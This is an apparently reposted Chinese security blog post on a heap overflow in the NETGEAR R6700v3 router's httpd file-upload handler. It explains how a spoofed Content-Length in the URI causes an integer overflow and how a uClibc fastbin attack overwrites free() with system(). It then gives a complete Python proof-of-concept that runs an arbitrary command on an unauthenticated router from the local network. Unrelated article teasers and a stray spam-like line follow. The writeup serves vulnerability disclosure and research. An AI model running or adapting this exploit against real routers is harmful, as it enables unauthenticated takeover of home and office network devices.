<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    NETGEAR 路由器中發現堆溢出漏洞

    安全俠2020-07-06 15:08:38

    在2019年東京Pwn2Own大會上,無線路由器引入為一個新種類:NETGEAR Nighthawk R6700v3。但該路由存在一些安全隱患,其中包括一個堆溢出漏洞,該漏洞可能允許惡意第三方從局域網控制設備。在這篇文章中,我們將詳細討論這個漏洞,并提供了一個概念驗證的漏洞,且對任何版本V1.0.4.84_10.0.58的路由器可用。

    該漏洞存在于受影響設備的httpd服務(/usr/bin/httpd)中。未經身份驗證的攻擊者可以在連接到本地網絡時向HTTPd Web服務發送特制的HTTP請求,這可能導致目標系統的遠程代碼執行,此漏洞可能會導致系統易遭受攻擊。文件上傳功能中存在堆溢出漏洞。

    背景

    首先,路由器在處理HTTP請求時。Web服務器不會直接80端口上偵聽。而是通過另一個進程作為代理偵聽。這個過程就是NGINX代理。接下來將詳細解釋它的功能:

    圖1-sub_159E8函數的執行流程

    首先,程序從套接字讀取HTTP請求。然后執行檢查,以確定HTTP請求是否是文件上傳請求的形式。如果該檢查返回false,則調用sub_10DC4函數。該函數負責解析HTTP請求、執行身份驗證、發送請求等等。相反,如果HTTP請求是文件上傳請求的形式,則將執行如X所示的代碼部分。sub_10DC4是處理請求的主要函數。代碼的X部分在這個函數的外面,這應該是我們感興趣的一個地方。

    漏洞

    如上所述,該漏洞是通過HTTP上傳觸發的。上載請求由端點處理/backup.cgi。在對該功能進行測試的過程中,存在兩個影響該端點的問題。第一個涉及缺少身份驗證檢查。攻擊者無需身份驗證即可上傳新的配置文件。但是,我們無法替換目標的憑據或更改目標系統的設置,因為在應用新的配置設置之前會進行身份驗證檢查。第二個問題是文件上傳功能中的堆溢出漏洞。
    易受攻擊的函數將上傳文件的內容復制到攻擊者控制大小的基于堆的緩沖區中。以下是易受攻擊的函數的偽代碼:


    圖2-漏洞函數的偽代碼

    為了控制基于堆的緩沖區的大小,攻擊者可以利用Content-Length報頭,但這并不簡單,主要有以下原因。
    導入配置文件的HTTP請求如下:
    圖3-導入配置文件的HTTP請求

    HTTP請求必須滿足幾個條件。首先,URI必須包含以下字符串之一:backup.cgigenierestore.cgiupgrade_check.cgi。接下來,該請求必須是帶有報頭的multipart / form-data請求name="mtenRestoreCfg。最后,文件名不能為空字符串。但是,HTTP請求必須先傳遞到NGINX代理,然后才能傳給httpd服務。policy_default.confNGNIX代理的配置文件如下:

    圖4-NGINX配置

    因此,為了繞過NGINX代理,選擇URI:

    圖5-繞過代理的URI

    sub_159E8函數中進行文件上傳的處理。從這里,程序從標題中提取Content-Length值:

    圖6-內容長度提取

    上面的代碼片段首先Content-Length使用stristr函數在整個HTTP請求中定位報頭,然后通過該atoi函數的最小實現,進行循環提取并將報頭的值從字符串轉換為整數:

    圖7-將字符串轉換為整數的循環

    但是,Content-Length由于NGINX代理,我們不能直接將任意值傳遞給報頭。除了過濾請求之外,代理還重寫請求。它確保該Content-Length值等于發布數據的大小,并將該Content-Length報頭放置在請求的第一個報頭中。因此,我們不能Content-Length在另一個報頭中偽造報頭。但是,提取Content-Length報頭的邏輯是有缺陷的。它對整個HTTP請求執行stristr函數,而不是僅請求報頭!因此,在URI中放置一個Content-Length報頭是可以的,httpd服務如下所示:

    圖8-偽造Content-Length值的URI

    由于請求行出現在具有上述URI的HTTP報頭之前,因此傳遞到圖7中的代碼的字符串是111 HTTP/1.1。這樣,我們可以完全控制的值Content-Length并觸發整數溢出漏洞。

    關于圖7中 atoi的實現,當它遇到非數字字符時并不會停止,而是直至找到換行序列\r\n,并將找到的字符解析為十進制數字。在確定每個字符的數值,會從字符代碼0中減去數字的ASCII字符代碼。0通過解析數字時,此公式將產生期望值9。解析非數字字符時,它將產生無效的結果。例如,當解析空格字符(ASCII 0x20)時,計算的數值是0x20 – 0x300xfffffff0。由于計算無效,該字符串111 HTTP/1.1在上面的示例中,最終的計算值是0x896ebfe9!為了控制該值使用了蠻力程序來替代各種 Content-Length值并模擬atoi循環,直到找到合適的值為止。它產生的解為4156559 HTTP/1.1,其值為ffffffe9,這是一個大小合理的負值。
    代碼路徑:

    圖9-整數溢出漏洞

    首先,程序Content-Length使用無符號比較將0的值與0x20017進行比較。如果該值大于0x20017,則將執行地址0x17370處的匯編代碼。然后,存儲在dword_19A08dword_19A104的值等于0,因為導入配置請求。接下來,程序檢查存儲在中的指針的值dword_1A870C。如果該值不等于零,則此指針所保存的內存將被釋放。然后,程序通過調用malloc傳遞正值Content-Length0x258來分配用于存儲文件內容的內存。結果存儲在中dword_1A870C。因為我們可以完全控制Content-Length的值,所以可以將Content-Length值設置為負數來觸發整數溢出漏洞。
    接下來,程序將整個文件內容復制到上面分配的緩沖區中。這將導致堆溢出漏洞。
    專欄
    圖10-堆緩沖區溢出漏洞

    注意事項

    在制作漏洞利用程序時,需要考慮以下幾點:

    -我們有一個堆溢出漏洞,該漏洞使我們可以向堆內存寫入任意數據,包括空字節。
    -由于ASLR的實現不佳,堆內存位于恒定地址。
    -在系統中使用uClibc。這是glibc的最小libc版本,因此mallocfree函數具有簡單的實現。
    -調用memcpy()并實現堆溢出后,sub_21A58()將被調用以返回錯誤頁面。在中sub_21A58()fopen()稱為打開文件。在中fopen()malloc()被調用兩次,大小分別為0x60和0x1000。這些分配中的每一個都隨后釋放。總而言之,內存分配和釋放的順序如下:

    專欄
    圖11 –內存分配操作序列

    此外,我們可以發送一個導入字符串表請求調用另外一個mallocfreesub_95AF4()。這是用于計算字符串表上載文件的校驗和的函數。偽代碼如下:

    專欄
    圖12 – sub_95AF4()中的偽代碼

    導入字符串表的HTTP請求如下:

    圖13-導入字符串表HTTP請求

    開發技術

    堆緩沖區溢出使我們能夠進行fastbin dup攻擊。“ Fastbin dup”攻擊破壞堆的狀態,因此隨后的調用將malloc返回選定的地址。一旦malloc返回選定地址,可以寫數據到這個地址。覆蓋GOT條目然后產生遠程代碼執行。特別是,我們可以為free()覆蓋GOT條目,將其重定向到system(),以便通過shell執行包含攻擊者提供的緩沖區數據。

    但是進行fastbin dup攻擊并不容易,對于每個請求都會發生一個附加的malloc(0x1000)調用。這會產生對__malloc_consolidate()函數的調用,從而破壞fastbin。

    如上所述,系統使用uClibc庫,因此free()malloc()函數與glibc的實現完全不同。看一下free()函數:

    專欄
    圖14 – uClibc中free()的實現

    在第22行,在訪問fastbins數組時缺少邊界檢查。這可能導致越界寫入fastbins數組。

    檢查malloc_state結構和fastbin_index宏,它們都在malloc.h中定義:

    專欄
    圖15-malloc_state結構和fastbin_index宏定義

    max_fast變量位于fastbins數組的正前面。因此,如果我們將塊的大小設置為8,則當釋放該塊時,fastbin_index(8)將返回-1并且max_fast將被較大值(或指針)覆蓋。當堆正常運行時塊的大小不會是8。這是因為作為塊的一部分的元數據占用8個字節,因此大小為8表示用戶數據為零字節。

    一旦max_fast更改為較大的值,__malloc_consolidate()將不再調用malloc(0x1000)。這使我們可以進行fastbin dup攻擊。

    總結:

    • 發出觸發堆溢出漏洞的請求,覆蓋PREV_INUSE一個塊的標志,從而錯誤地指示先前的塊是空閑的。
    • 由于PREV_INUSE標志不正確,我們可以malloc()返回與實際現有塊重疊的塊。這使我們可以編輯現有塊的元數據中的size字段,將其設置為無效值
    • 當該塊被釋放并放置在fastbin上時,malloc_stats->max_fast將被較大的值覆蓋。
    • 一旦malloc_stats->max_fast更改,__malloc_consolidate()在調用期間不再調用malloc(0x1000)。這使我們能夠進行fastbin攻擊。
    • 再次觸發堆溢出漏洞,fd使用選定的目標地址覆蓋空閑的fastbin塊的指針。
    • 后續調用malloc()將返回我們選擇的目標地址。我們可以使用它來將所選數據寫入目標地址。
    • 使用此“在哪里寫”原語寫入address free_got_addr。我們寫在那里的數據是system_plt_addr
    • 最后,釋放包含攻擊者提供的字符串的緩沖區時,調用system()而不是調用free(),進而生成遠程代碼執行。

    堆內存的布局和分步利用過程在下面的PoC文件中。

    #! /usr/bin/python2
    # coding: utf-8
    from pwn import *
    import copy
    import sys
    
    def post_request(path, headers, files):
        r = remote(rhost, rport)
        request = 'POST %s HTTP/1.1' % path
        request += '\r\n'
        request += '\r\n'.join(headers)
        request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
        post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
        post_data += files['filecontent']
        request += 'Content-Length: %i\r\n\r\n' % len(post_data)
        request += post_data
        r.send(request)
        sleep(0.5)
        r.close()
    
    def make_filename(chunk_size):
        return 'a' * (0x1d7 - chunk_size)
    
    def exploit():
        path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
        headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
        files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
        print '[+] malloc 0x28 chunk'
        # 00:0000│ 0x103f000 ?— 0x0
        # 01:0004│ 0x103f004 ?— 0x29
        # 02:0008│ r0 0x103f008 <-- return here
        f = copy.deepcopy(files)
        f['filename'] = make_filename(0x20)
        post_request(path, headers, f)
    
        print '[+] malloc 0x18 chunk'
        # 00:0000│ 0x103f000 ?— 0x0
        # 01:0004│ 0x103f004 ?— 0x29 /* ')' */
        # 02:0008│ 0x103f008
        # 03:000c│ 0x103f00c
        # ... ↓
        # 0a:0028│ 0x103f028
        # 0b:002c│ 0x103f02c ?— 0x19
        # 0c:0030│ r0 0x103f030 <-- return here
        f = copy.deepcopy(files)
        f['filename'] = make_filename(0x10)
        post_request(path, headers, f)
    
        print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
        # 00:0000│ 0x103eb50 ?— 0x0
        # 01:0004│ 0x103eb54 ?— 0x21 <-- recheck
        # ... ↓
        # 12d:04b4│ 0x103f004 ?— 0x29 /* ')' */
        # 12e:04b8│ 0x103f008 ?— 0x61616161 ('aaaa') <-- 0x28 chunk
        # ... ↓
        # 136:04d8│ 0x103f028 ?— 0x4d8
        # 137:04dc│ 0x103f02c ?— 0x18
        # 138:04e0│ 0x103f030 ?— 0x0
        f = copy.deepcopy(files)
        f['filename'] = make_filename(0x20)
        f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
        post_request(path, headers, f)
    
        print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
        # 00:0000│ 0x103eb50 ?— 0x0
        # 01:0004│ 0x103eb54 ?— 0x4f1
        # ... ↓
        # 12d:04b4│ 0x103f004 ?— 0x9
        # 12e:04b8│ 0x103f008
        # ... ↓
        # 136:04d8│ 0x103f028 ?— 0x4d8
        # 137:04dc│ 0x103f02c ?— 0x18
        # 138:04e0│ 0x103f030 ?— 0x0
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
        post_request('/strtblupgrade.cgi.css', headers, f)
    
        print '[+] malloc 0x18 chunk'
        # 00:0000│ 0x10417a8 ?— 0xdfc3a88e
        # 01:0004│ 0x10417ac ?— 0x19
        # 02:0008│ r0 0x10417b0 <-- return here
        f = copy.deepcopy(files)
        f['filename'] = make_filename(0x10)
        post_request(path, headers, f)
    
        print '[+] malloc 0x38 chunk'
        # 00:0000│ 0x103e768 ?— 0x4
        # 01:0004│ 0x103e76c ?— 0x39 /* '9' */
        # 02:0008│ r0 0x103e770 <-- return here
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
        post_request('/strtblupgrade.cgi.css', headers, f)
    
        print '[+] malloc 0x48 chunk'
        # 00:0000│ 0x103e768 ?— 0x4
        # 01:0004│ 0x103e76c ?— 0x39 /* '9' */
        # 02:0008│ r0 0x103e770
        # ... ↓
        # 0e:0038│ 0x103e7a0
        # 0f:003c│ 0x103e7a4 ?— 0x49 /* 'I' */
        # 10:0040│ r0 0x103e7a8 <-- return here
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
        post_request('/strtblupgrade.cgi.css', headers, f)
    
        print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
        # 00:0000│ 0x103e768 ?— 0x4 <-- 0x38 chunk
        # 01:0004│ 0x103e76c ?— 0x39 /* '9' */
        # 02:0008│ 0x103e770 ?— 0x0
        # 03:000c│ 0x103e774 ?— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
        # ... ↓
        # 0f:003c│ 0x103e7a4 ?— 0x49 /* 'I' */ <-- 0x48 chunk
        # 10:0040│ 0x103e7a8 —? 0xf555c (semop@got.plt)
        free_got_addr = 0xF559C
        f = copy.deepcopy(files)
        f['filename'] = make_filename(0x30)
        f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
        post_request(path, headers, f)
    
        print '[+] malloc 0x48 chunk'
        # 00:0000│ 0x103e7a0 ?— 'aaaaI'
        # 01:0004│ 0x103e7a4 ?— 0x49 /* 'I' */
        # 02:0008│ r0 0x103e7a8 <-- return here
        f = copy.deepcopy(files)
        f['filename'] = make_filename(0x40)
        post_request(path, headers, f)
    
        print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
        # 00:0000│ 0xf555c (semop@got.plt) —? 0x403b6894 (semop) ?— push {r3, r4, r7, lr}
        # 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —? 0xd998 ?— str lr, [sp, #-4]!
        # 02:0008│ r0 0xf5564 (strstr@got.plt) —? 0x403c593c (strstr) ?— push {r4, lr} <-- return here
        system_addr = 0xDBF8
        f = copy.deepcopy(files)
        f['name'] = 'StringFilepload'
        f['filename'] = 'a' * 0x100
        f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
        post_request('/strtblupgrade.cgi.css', headers, f)
    
        print '[+] Done'
    
    if __name__ == '__main__':
        context.log_level = 'error'
        if (len(sys.argv) < 4):
            print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
            exit()
        rhost = sys.argv[1]
        rport = sys.argv[2]
        command = sys.argv[3]
        exploit()

    針對這些問題,NETGEAR計劃發布固件更新,官方網站提供Bata修復程序的下載,修復所有受影響產品的漏洞。

    字符串函數函數調用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    UAC Bypass 技術學習
    2022-07-01 16:22:43
    通過在這些操作啟動前對其進行驗證,UAC 可以幫助防止惡意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝或對計算機進行更改。提升的應用程序以 High 完整性級別運行,普通進程以 Medium 完整性級別運行,低權限進程以 Low 完整性級別運行。
    二進制程序分析
    2021-09-25 17:18:46
    分析惡意軟件的第一步是收集二進制程序在主機上執行的行為事件,研究人員根據這些行為大體形成一個思路來描述惡意軟件的功能。 這包含應用釋放或者從互聯網下下載的文件,寫入什么樣的注冊表、訪問了什么網絡地址,修改讀寫本地的什么文件等等。那么研究人員通過行為會確定惡意樣本的類型。通常類型如下:
    本篇針對該JS中的字符串混淆進行還原。字符串是如何混淆的解密方式想要對字符串反混淆就要先分析該樣本是如何對字符串進行混淆的。而處于全局作用域的_0x1f1a68實際上也是對另一個函數的調用。
    上一篇文章介紹了xorstr的原理和最小化驗證概念的代碼,這篇文章來看下這種已經被廣泛應用于各惡意樣本以及安全組件中的技術如何還原,如果還沒看上篇建議先看下了解其實現后再看本篇文章。
    開放虛擬機格式(Open Virtual Machine Format,OVF)是一種虛擬機分配格式,能夠支持不同產品與組織之間共享虛擬機。 VMware OVF Tool是由VMware免費提供的一款支持虛擬的導入導出工具,支持以命令提示符的方式運行。
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    php中的disable_function是EG(ini_directives)來獲得的,而phpinfo根據 EG(ini_directives) 中獲取信息并打印。
    因為程序肯定是病毒,我就不上傳殺毒網去查殺了。正常我們在分析一個未知惡意程序的時候,流程都是要先上傳殺毒網看看。 用PEID進行查殼,顯示未加殼,程序采用Delphi語言開發。
    寫一個android中so文件反混淆的系列文章,目前這是第三篇。根據其他人的分析可知,libDexHelper.so是指令抽取的實現,libdexjni.so是VMP的實現。在android so文件攻防實戰-百度加固免費版libbaiduprotect.so反混淆中我們是交叉引用拿到加密后的字符串和它對應的解密函數的表然后frida主動調用得到的解密后的字符串,但是在這里這個方法就不太好用了。
    大廠基本為了程序的安全,會使用大量內聯SVC去調用系統函數,以此來保護程序的安全。如何實現SVC指令的IO重定向,成為最大的問題。內核態是當Linux需要處理文件,或者進行中斷IO等操作的時候就會進入內核態。當arm系列cpu發現svc指令的時候,就會陷入中斷,簡稱0x80中斷。
    安全俠
    暫無描述
      亚洲 欧美 自拍 唯美 另类